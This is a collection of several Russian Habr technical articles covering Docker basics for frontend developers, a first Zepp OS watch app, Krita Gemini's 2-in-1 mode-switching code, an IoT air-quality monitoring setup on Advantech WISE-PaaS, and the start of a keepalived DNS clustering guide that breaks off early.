Когда я занимался разработкой в 2012 году, моя команда делала проекты на Ruby on Rails. У меня возникала необходимость запускать у себя на ноутбуке такие вещи, как **Ruby**, **MySQL**, **PostgreSQL**. Это всё довольно плохо работало под **Windows**, поэтому приходилось использовать виртуализацию.
Тогда существовали такие решения, как **VirtualBox**, **VMware Workstation**, **Vagrant**. Всё рабочее окружение выносилось на виртуалку, а в хост-системе оставались только **IDE**, **Git**, **браузер**.
Вот эта схема, взятая из документации Docker, как раз показывает, как работают виртуальные машины (**VM**).
У нас есть **Infrastructure** (наш компьютер) и **Hypervisor** (VMWare, VirtualBox или ещё что-то). И на всём этом мы запускаем виртуальную машину, которая включает гостевую операционную систему (**Guest OS**), нужные библиотеки (**Bins/Libs**) и наше приложение (**App**).
Естественно, что сами виртуальные машины получались очень большие и неповоротливые. Накладные расходы на обслуживание виртуалки были высоки. Мой ноутбук с трудом всё это вывозил.
**Docker, Inc** предложили нам не тянуть в виртуальный контейнер гостевую операционную систему, а пользоваться хост-системой и получать изоляцию процессов при помощи механизма контрольных групп (**cgroups**) в **Linux**.
Это значительно уменьшило размеры образов. Например, образ **alpine:3.11.0** *(дистрибутив Linux, ориентированный на безопасность, легковесность и нетребовательность к ресурсам)* весит всего **2.5 MB**, а docker-образ с **node:alpine** — всего **27 MB**.
Т.е. наш сайт/приложение вполне можно запаковать в **30 MB** образ, который достаточно будет запустить в **Docker**, и он будет работать где угодно? Да, но есть нюансы.
Установка Docker
----------------
Docker распространяется в двух изданиях: **Community Edition (CE)** и **Enterprise Edition (EE)**. Нам нужен **Docker CE**, т.к. он бесплатный и решает все нужные нам задачи.
А ещё Docker бывает **Desktop** и **Server**.
### Server
**Server**-версии предназначены для установки на **Linux** и поддерживают 4 дистрибутива и только некоторые архитектуры. Поэтому заявление, что вы можете запустить docker-контейнер **"где угодно"** не совсем корректно.
### Desktop
**Desktop**-версии предназначены для установки на компьютеры разработчикам. И это то, что нам будет помогать во время разработки наших классных приложений. В частности, я использую [Docker Desktop for Mac](https://hub.docker.com/editions/community/docker-ce-desktop-mac).
Установка на компьютер выглядит максимально привычно для пользователя Mac.
Ну или, если вы любите Homebrew.
```
brew cask install docker
```
После этого приложение становится доступно в верхней строке состояния (*top status bar*) и из консоли.
Нюанс заключается в том, что контрольные группы (**cgroups**) Linux отсутствуют на **Mac** и **Windows** (сюрприз, сюрприз), поэтому **Docker Desktop** использует **Mac OS Hypervisor framework** и **Microsoft Hyper-V**, соответственно.
То есть для поддержки виртуализации придётся отдать ещё примерно **4 GB** оперативной памяти. Зато потом работающие контейнеры уже будут заниматься гораздо меньше места, чем если бы они были запущены на отдельных виртуальных машинах.
Вывод команды `docker stats`:
```
CONTAINER ID NAME MEM USAGE
e4941ea92ce7 nginx_1 3.16MiB
1b023bfff38f api_1 351.5MiB
e07c6958e378 pg_1 18.64MiB
1fa783f5fdbc terminal-front_1 14.89MiB
72e9dfa0805a adminer_1 11.19MiB
e9ce9f965867 admin-front_1 1.312MiB
3edacc59a77b certbot_1 1.547MiB
```
Видим, что БД заняла **19 МБ**, а API на Java — **352 МБ**.
Что входит в Docker Desktop
===========================
**Docker** разрабатывается в виде модульной архитектуры, поэтому устанавливая **Docker Desktop**, вы получаете сразу несколько программ.
### Docker Engine
**Docker Engine** включает в себя инструменты для построения контейнеров, реестр контейнеров, инструменты оркестрации, среду выполнения и многое другое. Это [проект с открытым исходным кодом](https://github.com/docker/engine), написанный на **Go**. Он запускается как **daemon**, который предоставляет **RESTful API** для выполнения команд.
Такое решение позволяет управлять контейнерами почти откуда угодно, например, из [браузера](https://github.com/kapalhq/docker-elements), [Node.js](https://github.com/apocas/dockerode) или даже из [Minecraft](https://github.com/docker/dockercraft).
### Docker CLI client
Консольный клиент для Docker Engine API.
Тоже [проект с открытым исходным кодом](https://github.com/docker/cli), написанный на **Go**.
### Docker Compose
[Инструмент](https://github.com/docker/compose) для описания и запуска мультиконтейнерных приложений. Чрезвычайно полезная вещь в разработке.
Позволяет почувствовать себя **SRE**. Написан, естественно, на Python.
### Docker Machine
[Инструмент](https://github.com/docker/machine) для управления удалёнными хостами, на которых установлен Docker. Нами в разработке не используется, но идёт в комплекте с остальным.
### Kitematic
Графический интерфейс для Docker Engine API с [открытым исходным кодом](https://github.com/docker/kitematic), написанный на **JavaScript (Electron)**.
Идеально для тех, кто не любит консоль и даже для GIT использует графический интерфейс.
Инструмент довольно сырой, но рабочий (**v0.17.9**, **> 800 открытых issues**).
Docker — это не только для админов
----------------------------------
Теперь немножко вольных аналогий для фронтенд-разработчиков, чтобы показать, что этот инструмент имеет много общего с привычными для нас, фронтендеров, вещами, такими как Node.js и NPM.
### Image
Docker-образ. Можем его куда-нибудь опубликовать, например, в DockerHub. А ещё мы можем опубликовать `NPM-пакет`.
### Dockerfile
Рецепт для сбора образа. У нас нет рецептов, но есть манифест пакета/приложения — `package.json`.
### docker build
Собираем docker-образ. Ну а мы во фронтенде собираем своё приложение — `npm run build`.
### DockerHub
Не путать с другим популярным хабом. Это реестр docker-образов. У нас есть свой реестр — `NPM Registry`.
### docker run
Консольная команда, которая запускает контейнер. Ближайший аналог из мира фронтенда — команда `npm start`.
### Проект начат как проприетарная разработка
Проект **Docker** начат в **2008** году как внутренняя собственническая разработка компании **dotCloud** и лишь в **марте 2013** был опубликован в open source.
У нас есть **Node.js**, который хоть и был изначально open source, но до **февраля 2015 года** и скандальной истории с **io.js** находился под управлением компании **Joyent**.
### Используется для всего подряд
Все мы знаем, что **NPM** — это **Node Package Manager**. Раньше так и было, но сейчас там лежат пакеты не только для **Node.js**, но и для **браузера**.
А ещё там могут лежать не пакеты. При желании туда можно положить набор шрифтов или даже фильм.
Тоже самое с **DockerHub**. Туда можно опубликовать что угодно. Никакой премодерации нет.
### Есть альтернативы, призванные заменить
Все мы знаем, что есть альтернативные менеджеры пакетов, который вы можете использовать, если вам не нравится **NPM**. Это [Yarn](https://yarnpkg.com/lang/en/), [pnpm](https://pnpm.js.org/), [jspm](https://jspm.io/).
**Docker** тоже можно заменить на альтернативы. Например, [Podmad](https://podman.io/) или [Buildah](https://buildah.io/).
Немного рецептов
----------------
Надеюсь, я смог в общих чертах рассказать про этот инструмент.
**В следующей части** планирую показать рецепты и конкретные кейсы использования Docker для фронтендера. | https://habr.com/ru/post/479018/ | null | ru | null |
# Пишем «Hello, world!» для Zepp OS и часов Amazfit GTS 3
Совсем недавно Amazfit (партнёр Xiaomi) [представила](https://habr.com/ru/news/t/583026/) новое поколение умных часов, в линейку которого вошли модели GTR 3 Pro, GTR 3 и GTS 3. Эти часы официально продаются и теперь можно без проблем купить. Я бы обошёл новинку стороной, ведь есть модели и подешевле с практически теми же возможностями, например Bip S. И всё же главной изюминкой новых часов можно назвать новую операционную систему Zepp OS.
Для меня самой интересной особенностью новой ОС стала возможность запускать на часах приложения на JavaScript, чем мы сегодня и займёмся и напишем нашу самую первую программу.
Zepp Open Platform
------------------
Компания открыла разработчикам документацию и инструменты к платформе [Zepp Open Platform](https://dev.huami.com/). Сама платформа предлагает довольно обширные возможности для исследований, передачи данных, обмена данными между устройствами, приложениями для фитнесса и здоровья, интернета вещей (IoT) и много чего ещё, в основном для enterprise. Возможности заявлены огромные, но большая часть из них требует специальной регистрации как разработчика для получения доступа к разработке решений в этих областях и не доступно обычным смертным.
Тем же, кто хочет просто рисовать свои циферблаты и писать приложения под часы доступны инструменты разработчика Zepp OS (среда разработки Zepp Studio и редактор циферблатов Zepp WatchFace Maker, эмулятор и инструменты для консоли).
Подготовка
----------
Для синхронизации с часами используется фирменное приложение Zepp. Через приложение можно настраивать часы, менять циферблаты и устанавливать приложения из официального каталога.
Для того чтобы приложение или циферблат попало в каталог требуется статус сертифицированного разработчика, который подтверждается сканом документов через модераторов. На данный момент верифицированный статус могут получить лишь работники крупных компаний или институтов. Индивидуальные разработчики могут подать заявление, но в каталог их приложения судя по всему пока не будут публиковаться.
Чтобы писать приложения для себя и заливать их себе на часы всё это не обязательно и не требуется. А те же циферблаты можно почти без сложностей заливать через приложение [AmazFaces](https://amazfitwatchfaces.com/awapp) от одного из крупных каталогов циферблатов для часов Amazfit.
Итак, мы знаем что для часов на Zepp OS можно писать приложения двух типов — циферблаты (watchface) и приложения (app). Они имеют схожую внутреннюю структуру и пишутся на JavaScript. Циферблаты нас пока не интересуют и в этой статье мы более подробно разберём приложения.
#### Включаем режим разработчика
Чтобы мы могли заливать на свои часы сторонние приложения нам надо включить режим разработчика в приложении Zepp. Естественно, ставим на телефон Zepp (если ещё этого не сделали), создаём учётную запись или заходим в уже имеющуюся и подключаем часы как обычно, если ещё не подключили.
**И включаем режим разработчика**
Заходим в «Профиль» -> «Настройки» -> «О приложении» и нажимаем 7 раз на логотип приложения. Если всё сделано правильно, появится уведомление
Выключить режим можно галкой в «Профиль» -> «Настройки».
После этих манипуляций мы можем заходить в «Устройства» -> «Amazfit GTS 3» (или другие подходящие часы) -> листаем вниз до пункта «Режим разработчика».
Там есть две вкладки «Дисплей» и «Приложение» и кнопка сканирования QR-кодов в правом верхнем углу:
#### Создаём учётную запись
Чтобы иметь возможность запускать приложения на устройстве, надо иметь учётную запись с такой же электронной почтой, что и в приложении Zepp.
Регистрируемся тут (страну я указал родную): [dev.huami.com](https://dev.huami.com/)
Приложение
----------
И вот теперь мы наконец можем приступить к разработке.
Код можно писать в своём любимом редакторе, используя инструменты CLI. А можно воспользоваться готовым инструментом «всё-в-одном». В нашем примере мы пойдём вторым путём и откроем онлайн редактор: [studio.huami.com](https://studio.huami.com/)
Нам предложат создать новый проект:
Можно воспользоваться шаблоном «Hello world» или импортировать zip архив с готовым проектом. Как вам больше нравится. Я немного упростил проект, и при желании можете взять его с моего [githib](https://github.com/gsomgsom/zepp_os_first_app).
#### Коротко о структуре проекта
После того как проект импортируется, откроем его в редакторе и увидим примерно такую структуру:
В настройках программы (app.json), которые редактируются в редакторе визуально, указывается экран (сцена / страница), отображаемый при старте, вот её код:
**page/gts-3/home/index.js**
```
const { width: DEVICE_WIDTH, height: DEVICE_HEIGHT } = hmSetting.getDeviceInfo()
const HELLO_TEXT = {
text: 'Hello, Habr!',
x: px(42),
y: px(200),
w: DEVICE_WIDTH - px(42) * 2,
h: px(100),
color: 0xffff00,
text_size: px(36),
align_h: hmUI.align.CENTER_H,
text_style: hmUI.text_style.WRAP,
}
const logger = DeviceRuntimeCore.HmLogger.getLogger('firstapp')
Page({
build() {
logger.debug('page build invoked')
hmUI.createWidget(hmUI.widget.TEXT, {
...HELLO_TEXT,
})
},
onInit() {
logger.debug('page onInit invoked')
},
onDestroy() {
logger.debug('page onDestroy invoked')
},
})
```
Как можно догадаться, элементы интерфейса, стили и обработчики событий инициализируются непосредственно в коде. А конкретно этот код создаёт [виджет текста](https://docs.huami.com/docs/reference/device-app-api/hmUI/widget/TEXT/) «Hello, Habr!» с заданными характеристиками.
Запускаем
---------
Теперь нам осталось собрать и опубликовать ссылку на приложение, для чего можно воспользоваться этой кнопкой:
В результате получим QR-код, отсканировав который из приложения Zepp мы сразу же установим приложение на часы:
Итоги
-----
Оказалось, начать разработку под новую ОС совсем не сложно. Теперь можно подглядывать в документацию и писать свои приложения или даже игры для часов на Zepp OS. Информации по этой теме в сети практически нет, и даже ссылки на официальную документацию пришлось искать по форумам.
Я надеюсь, этот туториал кому-то станет отправной точкой для новых хороших, интересных и нужных приложений.
Документация для разработчика на китайском и английском доступна без регистрации:
[docs.huami.com/docs/intro](https://docs.huami.com/docs/intro/)
Upd: Разработчики открыли канал в [Slack](https://join.slack.com/t/zeppcommunity/shared_invite/zt-13imfkbmp-lXPD5rPAeR_i3oJNAF7msw) (спасибо [idimas13](https://habr.com/ru/users/idimas13/) ).
У них также есть внутренний Lark канал. Пока не знаю, можно ли туда приглашать. | https://habr.com/ru/post/651185/ | null | ru | null |
# Адаптивный интерфейс для трансформеров на примере Krita Gemini
Устройства-трансформеры или «2 в 1» (планшет + ультрабук) пока еще не стали мейнстримом, но уже популярны у пользователей, желающих получить максимально универсальное решение для как можно более широкого круга задач. Однако с точки зрения разработчиков ПО данный класс гаджетов имел одну неприятную особенность: если сенсорный интерфейс уже хорошо изучен и апробирован, то адаптивность, то есть способность определять текущее состояние трансформера и соответствующим образом подстраивать интерфейс приложения, ранее не реализовалась и потому нуждалась в самостоятельном изобретении.
В этом посте мы опишем, как с решением данной проблемы справились создатели графического редактора Krita Gemini. **А в его конце – заманчивое предложение Intel для всех разработчиков ПО для устройств «2 в 1». У вас есть возможность получить новейший трансформер для рабочих нужд совершенно бесплатно!**
Устройства «2 в 1» могут переключаться между режимами планшета и ноутбука разными способами; аналогично можно создать и программу таким образом, чтобы она разными способами реагировала на переключение режимов. В некоторых случаях в режиме планшета следует сохранить пользовательский интерфейс как можно более близким к режиму ноутбука; в других случаях можно внести довольно существенные изменения. Корпорация Intel сотрудничает со многими поставщиками, чтобы помочь им реализовать разные режимы работы трансформеров в своих приложениях.
Разработчики Gemini постарались максимально использовать все возможности интерфейса в обоих режимах работы. На рисунках ниже видно, что пользовательский интерфейс в двух режимах отличается очень сильно. Это дает пользователю возможность плавно перейти от рисования «в поле» в режиме планшета к ретушированию и проработке более тонких деталей в режиме ноутбука.
*Пользовательский интерфейс Krita Gemini в режиме планшета*
*Пользовательский интерфейс Krita Gemini в режиме ноутбука*
Для автоматического переключения требуется определить состояние датчика, отслеживать его и выполнять соответствующие действия при известном состоянии. Кроме того, для удобства пользователей следует добавить и возможность переключать режимы работы приложения вручную.
Не все компьютеры с сенсорным управлением поддерживают автоматическое переключение, поэтому мы рекомендуем добавить в приложение кнопку, с помощью которой пользователи могли бы вручную переключать режимы работы приложения. Кнопка Gemini показана на рисунке. Смена пользовательского интерфейса по нажатию кнопки происходит так же, как при срабатывании механического датчика. Информация на экране и устройство ввода по умолчанию изменятся с сенсорного экрана и крупных значков в режиме планшета на клавиатуру, мышь и мелкие значки в режиме ноутбука. Тем не менее, поскольку датчик не срабатывал, метод, использующий кнопку, должен сменять параметры экрана, значков и устройства ввода по умолчанию без получения данных о состоянии датчика.
*Кнопка переключения Switch to Sketch — переключение в режим планшета запускается пользователем*
```
// Snip from Gemini - Define 2-in1 mode hardware states:
#ifdef Q_OS_WIN
#include
#define SM\_CONVERTIBLESLATEMODE 0x2003
#define SM\_SYSTEMDOCKED 0x2004
#endif
```
Определение кнопки Kaction(), ее состояния и действия показаны в коде ниже:
```
// Snip from Gemini - Define 2-in1 Mode Transition Button:
toDesktop = new KAction(q);
toDesktop->setEnabled(false);
toDesktop->setText(tr("Switch to Desktop"));
SIGNAL(triggered(Qt::MouseButtons,Qt::KeyboardModifiers)), q, SLOT(switchDesktopForced()));
connect(toDesktop,
SIGNAL(triggered(Qt::MouseButtons,Qt::KeyboardModifiers)), q, SLOT(switchToDesktop()));
sketchView->engine()->rootContext()->setContextProperty("switchToDesktop
sketchView->Action", toDesktop);
```
Затем разработчики занялись обработкой событий, переключаемых кнопкой. Сначала нужно проверить последнее известное состояние системы, затем идет смена режима:
```
// Snip from Gemini - Perform 2-in1 Mode Transition via Button:
#ifdef Q_OS_WIN
bool MainWindow::winEvent( MSG * message, long * result ) {
if (message && message->message == WM_SETTINGCHANGE && message->lParam)
{
if (wcscmp(TEXT("ConvertibleSlateMode"), (TCHAR *) message->lParam) == 0)
d->notifySlateModeChange();
else if (wcscmp(TEXT("SystemDockMode"), (TCHAR *)
message->lParam) == 0)
d->notifyDockingModeChange();
*result = 0;
return true;
}
return false;
}
#endif
void MainWindow::Private::notifySlateModeChange()
{
#ifdef Q_OS_WIN
bool bSlateMode = (GetSystemMetrics(SM_CONVERTIBLESLATEMODE) == 0);
if (slateMode != bSlateMode)
{
slateMode = bSlateMode;
emit q->slateModeChanged();
if (forceSketch || (slateMode && !forceDesktop))
{
if (!toSketch || (toSketch && toSketch->isEnabled()))
q->switchToSketch();
}
else
{
q->switchToDesktop();
}
//qDebug() << "Slate mode is now" << slateMode;
}
#endif
}
void MainWindow::Private::notifyDockingModeChange()
{
#ifdef Q_OS_WIN
bool bDocked = (GetSystemMetrics(SM_SYSTEMDOCKED) != 0);
if (docked != bDocked)
{
docked = bDocked;
//qDebug() << "Docking mode is now" << docked;
}
#endif
}
```
Код приложения Krita для управления переключениями между режимами можно найти в исходном коде этого приложения, выполнив поиск по слову SlateMode. Программа Krita распространяется на условиях лицензии GNU Public License. Для получения последней информации смотрите [репозиторий исходного кода](http://krita.org/download).
Полный текст статьи о приложении Krita Gemini вы можете прочитать на [сайте IDZ](https://software.intel.com/ru-ru/articles/krita-gemini-twice-as-nice-on-a-2-in-1).
Теперь обещанное заманчивое предложение. Если вы разрабатываете ПО для устройств «2 в 1», для вас важна производительность и вы заботитесь об удобстве пользователей и, соответственно, интерфейсе, то как раз для вас у Intel припасено несколько супер современных ПК на базе новейших процессоров Haswell. Вы можете получить один из них для тестирования и отладки, а, возможно, это устройство станет вашим постоянным девайсом для разработки. [Напишите нам](mailto:ispprussia@intel.com), расскажите о своей программе и мы обязательно рассмотрим вашу заявку.
И еще одно объявление. 28-29 мая в Подмосковье будет проходить [конференция DevCon](http://www.msdevcon.ru/ru/), в которой, конечно же, будет участвовать и Intel. Во время мероприятия мы пройдемся и по другим наглядным примерам, как адаптировать интерфейс приложений для трансформеров. Приглашаем всех желающих! | https://habr.com/ru/post/222883/ | null | ru | null |
# [Кейс] Мониторинг качества атмосферного воздуха в коттеджном поселке
В статье представлен наш опыт разработки решения по мониторингу качества воздуха в поселках с помощью сети эко-датчиков и предоставления информации пользователям в режиме реального времени на основе технических решений компании Advantech.
Умные города и проблема загрязнения атмосферного воздуха
--------------------------------------------------------
Более 74% населения России живет в крупных городах и рост численности горожан продолжается. Высокая плотность населения и производств сопровождаются ухудшением качества атмосферного воздуха. Основными источниками являются: промышленность, теплоэнергетика и автомобильный транспорт. Согласно данным Всемирной организации здравоохранения, наиболее опасным загрязняющим веществом является мелкодисперсная пыль, так как она попадает при дыхании в легкие и не выводится из организма в течении жизни.
По данным исследований НАФИ в 2019 г. около [71% горожан считают](https://nafi.ru/en/analytics/polovina-rossiyan-schitayut-situatsiyu-s-ekologiey-v-svoem-gorode-blagopriyatnoy-en-half-of-russians/) экологическую обстановку неблагополучной и связывают это с выбросами автотранспорта и промышленности. Проблема заключается в своевременном выявлении локальных источников загрязнения.
Одной из задач Национального проекта «Цифровая экономика» на 2019-2024 гг. является преобразование приоритетных отраслей экономики и социальной сферы, включая городское хозяйство, посредством внедрения цифровых технологий и платформенных решений, преимущественно отечественной разработки. В рамках данного проекта 04.03.2019 г. Министерством строительства и жилищно-коммунального хозяйства утвержден стандарт "[Умный город](http://www.minstroyrf.ru/upload/iblock/74f/Standart.pdf)", содержащий перечень мероприятий, реализуемых в рамках цифровизации городского хозяйства.
Стандарт предполагает внедрение решений в городах с населением более 100 тысяч человек по 28 направлениям, среди которых выделяется направление “Система онлайн-мониторинга атмосферного воздуха”, предполагающее мероприятия, ведущие к повышению уровня экологической безопасности, обеспечению контроля за состоянием качества воздуха, администрированию доходов бюджета города в части охраны окружающей среды, повышению уровня привлекательности города для проживания граждан.
В рамках национального проекта “Экология”, [паспорт](http://static.government.ru/media/files/pgU5Ccz2iVew3Aoel5vDGSBjbDn4t7FI.pdf) которого утвержден решением президиума Совета при Президенте Российской Федерации по стратегическому развитию и национальным проектам 24.12.2018 г., реализуется федеральный проект “[Чистый воздух](http://xn--80aavcebfcm6cza.xn--p1ai/upload/iblock/799/CHistyy-vozdukh-_obnov.-red_.pdf)”, направленный на улучшение качества атмосферного воздуха в 12 промышленных центрах со снижением степени загрязнения атмосферы до уровня “повышенное”, определяемого в соответствии с рекомендациями [РД 52.04.667-2005](http://krasecology.ru/Data/Docs/rd52.04.667-2005.pdf).
Согласно задаче 1.5 этого проекта предполагается интеграция данных модернизированной государственной наблюдательной сети, территориальных и локальных систем наблюдения за качеством атмосферного воздуха. Это может позволить выявлять локальные источники загрязнения атмосферного воздуха и контролировать объем выбросов на основе данных о качестве воздуха, получаемых густой сенсорной сетью с высоким пространственным разрешением.
Однако, жители небольших городов и поселков оказываются не вовлечены в эти масштабные федеральные проекты и могут рассчитывать только на собственные силы. Несмотря на то, что качество воздуха в населенных пунктах, удаленных от промышленных центров, значительно выше, тем не менее проблемы оперативного выявления локальных источников загрязнений стоят также остро как и в густонаселенных районах.
Сенсорная сеть мониторинга качества воздуха
-------------------------------------------
Размещение эко-датчиков на объектах инфраструктуры населенного пункта и в местах массового отдыха позволяет обеспечить контроль качества воздуха, повысить уровень экологической безопасности за счет информирования жителей, органов местного самоуправления и контрольно-надзорных органов. Использование цифровой платформы [WISE-PaaS](https://wise-paas.advantech.com/en-us/) позволяет осуществлять сбор данных эко-датчиков, анализ их изменчивости и прогноз рисков загрязнения атмосферного воздуха. Все это ведет к повышению качества жизни и привлекательности населенного пункта для жителей и гостей.
Сами датчики являются, по сути, связующим звеном между реальным миром и его цифровым двойником, реализуемым с помощью технических средств Advantech. Они измеряют содержание пыли в воздухе, его температуру, формируют пакеты сообщений и отправляют их по беспроводному каналу в диапазоне 868 МГц, в соответствии с протоколом LoRaWAN, на базовую станцию, где данные упаковываются в текстовые JSON-сообщения и далее по MQTT-протоколу отправляются на цифровую платформу [WISE-PaaS](https://wise-paas.advantech.com/en-us/), где уже обрабатываются сервером приложений.
В качестве LoRa-шлюза мы используем устройство [WISE-6610](https://www.advantech.ru/products/dc06386d-75f7-438c-879e-979ce8cabfda/wise-6610-e100/mod_442fd99d-2dc6-454a-8a64-bf06952a2175?utm_source=habr&utm_medium=cpc&utm_campaign=Innoworks2019&utm_content=pp), производимое филиалом Advantech в Чехии. Это довольно компактное устройство, монтируемое на DIN-рейку или стену, с разъемами для подключения внешней антенны, локальной сети и питания. Из четырех контактов разъема питания по факту используются только два: красный (+) и черный (-). По умолчанию шлюз работает в режиме роутера и его LoRa-модуль выключен. Для активации устройства необходимо подключиться к нему через Ethernet-кабель и в адресной строке браузера указать адрес, через который доступен веб-интерфейс настройки шлюза:
```
http://192.168.1.1
```
На запрос авторизации указываем параметры по умолчанию (логин: root, пароль: root) и попадаем в интерфейс, представленный на рисунке.
Здесь наибольший интерес представляет пункт “User Modules”, через который можно настроить LoRa-шлюз и локальный сервер Node-RED. Заходим в настройки LoRa-шлюза, где имеем возможность включить LoRa-модуль, указать частоты радиоканалов LoRa-шлюза, задать параметры работы network-сервера и настроить передачу сообщений на MQTT-брокер, указав хост, порт, имя пользователя и пароль.
Остается только привязать эко-датчики к LoRa-шлюзу. Для этого мы используем метод ABP (Activation-by-personalisation). Заходим в панель настройки network-сервера:
```
https://192.168.1.1:8443
```
выбираем пункт “Devices-Activated (Nodes)”, нажимаем на кнопку “+ Create” и в появившемся окне указываем три параметра: NwkSKey (ключ сети), AppSKey (ключ приложения), DevAddr (адрес датчика). Эти же параметры указываем в настройках эко-датчика.
Для подключения [WISE-6610](https://www.advantech.ru/products/dc06386d-75f7-438c-879e-979ce8cabfda/wise-6610-e100/mod_442fd99d-2dc6-454a-8a64-bf06952a2175?utm_source=habr&utm_medium=cpc&utm_campaign=Innoworks2019&utm_content=pp) к локальной сети необходимо его перевести в режим DHCP-клиента. После этого устройство будет само обнаруживать DHCP-сервер в локальной сети для получения IP-адреса и подключения к сети интернет. Это осуществляется через основной веб-интерфейс: выбираем пункт меню “Configuration-LAN” и в поле “DHCP Client” указываем “enabled”.
Цифровая платформа WISE-PaaS
На начало этого года известно более 150 цифровых платформ интернета вещей. У каждой из них есть свои особенности, преимущества и недостатки. Использование платформы [WISE-PaaS](https://wise-paas.advantech.com/en-us/) позволяет решать задачу сбора данных сенсорной сети и их визуализации.
Обработка данных с датчиков на цифровой платформе [WISE-PaaS](https://wise-paas.advantech.com/en-us/) осуществляется в несколько этапов:
1. получение JSON-сообщений от LoRa-шлюза MQTT-брокером и их пересылка прикладному приложению;
2. прием JSON-сообщений Python-скриптом, обработка данных и их запись в базу данных;
3. запись, хранение и предоставление данных средствами СУБД PostgreSQL;
4. визуализация данных с помощью [WISE-PaaS/Dashboard](https://wise-paas.advantech.com/en-us/marketplace/detailinfo/72);
При создании нового виртуального пространства на WISE-PaaS MQTT-брокер RabbitMQ запущен по умолчанию и виден в списке доступных сервисов. Параметры брокера (хост, порт, имя пользователя, пароль) можно получить через веб-интерфейс.
Для создания приложения, осуществляющего прием данных измерений от MQTT-брокера и запись их в базу данных можно воспользоваться пошаговой инструкцией, основанной на примере, подготовленном Advantech.
Создаем рабочий каталог:
```
mkdir ~/wisepaas/
```
Переходим в него:
```
cd ~/wisepaas/
```
Клонируем пример с Github для получения данных по MQTT и записи данных в базу данных PostgreSQL:
```
git clone https://github.com/WISE-PaaS/example-py-iothub-postgresql.git
```
Подготовка исполняемого приложения index.py заключается в изменении значений нескольких параметров на фактические значения, указанные в Панели управления WISE-PaaS.
```
…
# MQTT(rabbitmq)
service_name = 'p-rabbitmq-innoworks'
…
# Postgresql
service_name = 'postgresql-innoworks'
…
schema = 'projectname'
table = 'tablename'
group = 'groupname'
…
def on_connect(client, userdata, flags, rc):
client.subscribe("#")
…
```
В файле **manifest.yml** указываются параметры приложения: имя, размер доступной оперативной памяти, дисковая квота, команда запуска приложения, список используемых сервисов.
```
---
applications:
- name: py-postgresql-meteolab
memory: 256MB
disk_quota: 256MB
buildpack: python_buildpack
command: python index.py
services:
- rabbitmq
```
Подключение пользователя **user** с паролем **password** к серверу *api.wise-paas.io* с помощью клиента CloudFoundry:
```
cf login -a api.wise-paas.io -u user@advantech.com -p password
```
Проверка подключения клиента к CloudFoundry:
```
cf target
```
Копирование приложения на сервер без запуска:
```
cf push py-postgresql-meteolab --no-start
```
Привязка приложения к базе данных с указанием группы:
```
cf bs py-postgresql-meteolab postgresql -c '{\"group\":\"groupname\"}'
```
Привязка приложения к MQTT-брокеру:
```
cf bs py-postgresql-meteolab rabbitmq
```
Запуск приложения на сервере:
```
cf start py-postgresql-meteolab
```
Контроль работы приложения осуществляется путем проверки журнала выполнения приложения:
```
cf logs py-postgresql-meteolab --recent
```
Удобным является копирование всех переменных окружения приложения в локальный JSON-файл:
```
cf env py-postgresql-meteolab > env.json
```
Сервер PostgreSQL также запущен по умолчанию при создании виртуального пространства. Поскольку в WISE-PaaS нет веб-интерфейса для управления базами данных, то поэтому необходимо установить какой-либо клиент, например, pgAdmin. Затем создаются таблицы базы данных и контролируется процесс записи данных с датчиков с помощью веб-интерфейса.
Средства визуализации информации
--------------------------------
В состав цифровой платформы [WISE-PaaS](https://wise-paas.advantech.com/en-us) входит [WISE-PaaS/Dashboard](https://wise-paas.advantech.com/en-us/marketplace/detailinfo/72), который позволяет создавать графические панели, содержащие произвольное количество блоков с различными вариантами отображения. Это может быть текст, графики, диаграммы, карты и многое другое.
Настройка блоков осуществляется через меню «Edit». Источником отображаемых данных является SQL-запрос к базе данных. Кроме того, для настройки отображения в меню “Edit” существуют различные настраиваемые параметры.
Для более тонкой настройки можно использовать «panel JSON», позволяющий редактировать настройки в JSON-формате. Это бывает, порой, необходимо, так как все параметры невозможно отредактировать через панель «Edit».
У каждой панели существуют общие настройки. Тут можно задать имя панели, описание, назначить теги, осуществить настройки времени, сменить фон.
Кроме того в WISE-PaaS/Dashboard есть общие настройки для всех панелей. Тут можно добавить источник данных, управлять группами и пользователями, управлять плагинами (добавить, активировать, удалить), загружать изображения и многое другое.
Заключение
----------
Использование системы мониторинга качества воздуха в коттеджном поселке позволяет оперативно выявлять источники загрязнений, планировать уборку улиц и, в конечном счете, улучшить качество жизни людей. Интеграция данной системы с системами видеонаблюдения, контроля и управления доступом, уличного освещения позволяет создавать “умные” цифровые решения, повышающие эффективность эксплуатации коттеджного поселка.
Статья подготовлена командой (В.В. Чукин, Т.А. Липатов, А.Ю. Ермаков) из [MeteoLab](http://meteolab.ru/ru/) по итогам работ в рамках конкурса [Advantech AIoT Developer InnoWorks 2019](http://select.advantech.com/aiot-innoworks-russia/). Авторы статьи всегда рады ответить на вопросы и рассмотреть предложения через [форму обратной связи](http://meteolab.ru/ru/contacts/), а также применить полученный опыт работы с платформой [Advantech WISE-PaaS](https://wise-paas.advantech.com/en-us/) в проектах по цифровой трансформации производства и повышении квалификации персонала. | https://habr.com/ru/post/469921/ | null | ru | null |
# Отказоустойчивый кластер с балансировкой нагрузки с помощью keepalived
Сегодня я расскажу о том, как быстро собрать отказоустойчивый кластер с балансировкой нагрузки с помощью keepalived на примере DNS-серверов.
Итак, предположим, что у нас есть сервер, который должен работать без перебоев. Его нельзя просто так взять и выключить посреди рабочего дня — клиенты или пользователи не поймут. Тем не менее любой сервер время от времени надо обслуживать, ставить обновления, менять аппаратную конфигурацию или сетевые настройки. Кроме того, нужно быть готовым к росту нагрузки, когда мощности сервера перестанет хватать. У сервера должна быть предусмотрена возможность быстрого масштабирования. Если вы озаботились этими проблемами, то вам нужно организовать отказоустойчивый кластер.
Чаще всего такие задачи приходится делать с HTTP-серверами. Я сегодня покажу сборку кластера на примере DNS, потому что опробовал технологию именно на нем, но с минимальными изменениями то же самое можно сделать и с серверами, работающими по TLS или HTTP.
### Лирическое отступление о проблемах DNS
В принципе, DNS задуман так, чтобы необходимости городить огород с кластерами не возникало. В каждой зоне можно прописать множество NS-записей, в каждой сети можно раздать список DNS-серверов с помощью DHCP. DNS-сервера умеют реплицировать зоны, поэтому они хорошо масштабируются. Однако на практике это плохо работает. Когда я попробовал добавить 2-й DNS-сервер, то обнаружил, что
1. Половина пользователей сидят со статическими настроенными адресами DNS-серверов. Ставят себе 4 восьмерки в качестве primary и локальный DNS в качестве secondary.
